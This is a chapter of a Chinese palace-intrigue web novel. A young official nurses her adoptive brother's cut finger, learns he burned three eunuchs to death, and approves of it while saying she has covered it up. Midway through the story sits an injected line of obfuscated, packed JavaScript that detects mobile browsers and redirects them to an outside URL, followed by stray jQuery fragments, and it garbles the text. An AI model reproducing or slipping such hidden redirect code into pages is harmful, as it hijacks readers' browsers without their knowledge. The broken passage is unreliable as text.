56. 少年时(2)

作品:《毒害权臣归来后(双重生)

    白洎殷揉了揉额头,语气颇有几分无奈,“明日我还来。”


    眨眼年关将至,喻宁宫的事务多了,白洎殷忙得一连几日抽不开身。


    有一日终于闲下来了,便见顾扶砚一个人坐在房间里。他手里拿着一块木料,似是在刻什么东西,神情专注,丝毫未注意到有人过来。


    白洎殷走近了,才发现那是一只乌木镇纸,瞧着完成了大半,刻的应该是如意纹。


    她笑道:“做什么呢?”


    她话音刚落,听到那头倒吸一口冷气。白洎殷面色微变,只见他拿着木料的食指渗出殷红的血迹。


    顾扶砚见到她,目光亮的惊人,“阿姐,你怎么来了?”


    “你有好些时日没来看我了。”


    她连忙上前,“我看看手怎么样了?”


    顾扶砚已经把手里的东西放下,他垂了垂眼睫,将手藏到身后。


    白洎殷微微蹙了蹙眉,“听话,我看看。”


    顾扶砚定定的看着她,“阿姐五日没来了。”


    这是生气了?


    白洎殷细心安抚他:“这几日忙。是我的不是。”


    “手怎么样了?”她说话间,已不动声色地将顾扶砚的手轻轻端到面前。


    刺眼的血迹沾满了大半根手指,连拇指上沾的都是。白洎殷倒吸了一口凉气,“怎得伤这么重?”


    “不妨事,划了一下。”


    白洎殷神情担心,“痛吗?”


    顾扶砚定定看她,“不是很痛。”


    白洎殷去唤琉书拿药,二人坐着,白洎殷看着伤口,眼里有些自责,“怪我突然出声。”


    “是阿姐过来,我太高兴了。”


    白洎殷哭笑不得,“你多大了,还要人陪。”


    “年关将至,四处都热热闹闹的,阿姐不回来,这瑶华苑留我一人冷清。我记得小时候,每年这个时候,母妃都会亲手做花灯给我。如今这个时候,宫里面大概也热闹的很。”


    他话到末时,神情颇有些落寞。


    是啊,她虽然忙,尚且有姝年和琉书。可子昭的母妃在他九岁那年就死了,皇帝儿女满地都是,哪里还会记得自己还有这么个儿子呢?


    白洎殷心忽地一揪,感觉胸口沉着一块大石头,呼吸都透着沉闷。


    她自己带回来的崽,旁人都能不管,她不能不管。


    “这几日太忙了,我保证,以后不管再忙,都会回来和你用晚膳。”


    顾扶砚目光一动,眼中似有希冀。


    他是这样好满足呀。


    白洎殷被这眼神看得更是愧疚,恰好琉书提了药盒过来。白洎殷从里面取出纱布,将药粉兑水混匀了,用药签蘸取后涂在伤处。


    顾扶砚不觉得那伤口疼,反而觉得药签轻轻涂过手指,有些痒,接踵而至的是一阵凉意。


    白洎殷睡觉时常年会在枕边放一个助眠的香囊。有时头发上会沾上药草的苦香,和她身上那股梅花的清甜混在一起,让人安心极了,不由得想要靠近些,再靠近些。


    白洎殷拿纱布的间隙,余光见顾扶砚一眨不眨看着自己,“痛吗?”


    “有点。”


    白洎殷微微叹了口气,缠纱布时动作放轻了些,又忍不住出声:“你下次要做什么,交给旁人做就是,何必自己动手?左手便也就罢了,若是伤了右手,落下残疾,难不成要我养你一辈子?吓得我得赶紧找个汉子把你给嫁了。”


    顾扶砚颇为忌惮似的,“阿姐你饶了我吧。”他顺势挪向白洎殷,撒娇似得靠在她的肩上。他拿捏着分寸,确定白洎殷不反感后,方搂住她的胳膊。


    “阿姐就这么养我一辈子,不可以吗?”


    “阿姐要做什么,我替阿姐去做便是。”


    白洎殷忍着笑。“你要镇纸,我让姝年拿几个给你便是,要什么样式的你回头同她说。”


    “这个是给阿姐的。”


    白洎殷目光一怔,“给我的?”


    顾扶砚抬起头,一头发瀑顺势垂下,还有一根辫子落在白洎殷肩上,额前几根碎发衬得面如冠玉,眉似漆刷。


    白洎殷心不知怎得漏跳了半拍。


    “我见阿姐前几日磕坏了一个,闲来无事,便想给阿姐做一个。只是没做过,手艺粗糙,做坏了好几个,改了几日都不满意,让阿姐见笑了。”


    白洎殷心头一暖,伸手将桌上那块乌木拿起,指腹轻轻抚过上面的云纹。她眨了眨眼,压下眼中情绪,戏谑看他:“是挺见笑的。”


    “那这个阿姐别拿了,扔了便是,我过两日再做新的。”


    白洎殷却把那块镇纸收尽袖子里,眼底闪过一抹促狭,“见了开心,自然就笑了。”


    顾扶砚语气有些无奈,“阿姐。”


    白洎殷似是想到什么,突然收了笑意,“冷宫有三名太监,其中有一个叫小顺子,前些日子净房失火,这三人都死了。”


    白洎殷留意着他面色,面色有几分严肃,语气试探,“是不是你做的?”


    顾扶砚缠着纱布的手一僵,语气难得有些紧张,“阿姐你别生气。”


    白洎殷微微松了一口气,“我没生气。你要做什么同我说就是。”


    “你要做便做的干净些,莫要给人瞧见了,抓了把柄。人我替你处理干净了。”


    “阿姐...”顾扶砚呼吸一滞,怔怔看她,“阿姐不怪我?”


    “我为什么要怪你?”


    “我若是你,也要向他们索命的。我没经历过你的难处,又如何在道德的制高点指责你?何况你我是姐弟,我怎么可能朝着外人?”


    白洎殷护短,这一点琉书和玉珏都深有体会。


    如今顾扶砚也算是见识到了。


    白洎殷话音刚落,便见顾扶砚目光一亮,定定看她。


    要说起来,她和顾扶砚相处这两年,顾扶砚情绪看似好猜,但有时又很难猜。有时他一个人坐在那里,若是这时突然来了个人打断,便能撞见一双漆黑的眸子如漩涡般,沉寂,危险。


    可并不会让她感到害怕。


    其实大多时候,她看到的那双漆黑的眼眸总是如晨星般,泛着荧光,让人不由得跟着那目光走。


    白洎殷想,她这弟弟该是最一尘不染的人了,她时常也会愧疚,或许自己本不该拉他入局。


    顾扶砚屏着呼吸,眼神有些奇异,“阿姐可知,他们是怎么死的?”


    白洎殷有些不明所以,“不是火烧死的吗?”


    “是。”顾扶砚朝她露出一个明媚的笑来,“是烧死的。”


    白洎殷担心他落下阴影,站起身,“走,我带你看个好玩的。”


    顾扶砚目光一动,抓住白洎殷的手。


    白洎殷触到一片冰凉,不由得打了个寒战,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287458|159927||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先是一愣,随即微微一笑,反手抓紧了那只手。


    北昭民风开放,再加上白洎殷职位特殊,一般还真不敢对这个人起什么非分之想,她来喻宁宫也没见过《女诫》、《内训》之类的,看的多是《史记》、《诗经》类的书,是以并未那般关注男女大防。


    加上顾扶砚是她亲手捡回来的,她还真没往那方面想过。


    她差琉书取了卷爆竹,将红艳艳的芯子取出来。待爆竹点燃,白洎殷掐准时间将手里的东西抛入水月河里。爆竹炸在河水里,伴随着一声闷响,水花四溅。


    彼时风吹云动,月霜洒下,浮动的清辉如碎银般溢散。


    白洎殷回眸看他,“好玩吗?”


    视线对上,顾扶砚嘴角化开一抹笑来,乖巧地点了点头。


    他想,若是没有那些烦人的事,若是阿姐能一直陪着自己,该有多好。


    原来不知不觉间,他早就离不开她了啊。


    白洎殷见他心情似是好些了,有些欣慰的跟着笑了,她又剥了一颗爆竹芯下来。


    “来,你自己试试。”


    “大人,适才宫主派人来传您过去。”


    白洎殷被这一声转移了注意力,她看了一眼前来通禀的侍女,淡声道:“知道了。”


    眼看就要除夕,两宫接触多起来,事情也跟着多了。


    侍女传完话就要下去,不妨余光一瞥,撞到一双阴翳冰冷的眸子。她当即觉得无形中好似有一只冰冷的手死死掐住了自己的脖子,濒死的窒息感涌了上来。


    她打了个寒颤,待要再看,发现那人已神色如常,好像适才的一切都只是自己的错觉一般。


    “阿姐,你要走了吗?”


    顾扶砚没有拦她,他知道白洎殷是有要是要做,死缠烂打会让阿姐心烦的。


    只见白洎殷将手里的东西递给顾扶眼,“今日天色不早了,你早些休息,改日带你玩别的。”


    他语气试探,乍听透着几分小心翼翼,“阿姐明日还来吗?”


    白洎殷微微叹息,“我忙完了就过来。你仔细手上的伤。”


    顾扶砚笑容有些发僵,“好。”


    夜幕下,一道目光死死盯着少女离去的背影,直至那道身影绕过一重假山,彻底消失在视线里。


    鲜血渗透纱布,坠落在地,如同血红的曼陀罗,绽在无人注意,阴冷逼仄的角落,扎进人心里。


    翌日,房外传来扣门声。少年目光一亮,房门打开,却并未见到想见的人。


    “七殿下,大人派奴婢来同您说一声,她今日要入宫,晚膳您自己先用,她晚些再过来。”


    顾扶砚垂下目光,长睫一颤,“好。”


    那头白洎殷从宫里出来,已是子时。


    玉珏问:“大人要去西院吗?”


    白洎殷看了眼天色,“算了,这个点他应该睡了,明日再去吧。”


    玉珏有些哭笑不得,“大人您这明日复明日,明日何其多?我要是您,要么就不要约定日子,要么就要按期赴约,哪能这样?您这个样子,迟早要出事。”


    白洎殷微微叹息,“我有什么办法?我也是为人做事,半点不由人。不过你说得也有道理。”


    谁知第二日,果真叫玉珏一语成谶。傍晚的时候,侍女仓皇来禀。


    “大人不好了,七殿下突然起了高热,如今还在昏迷。”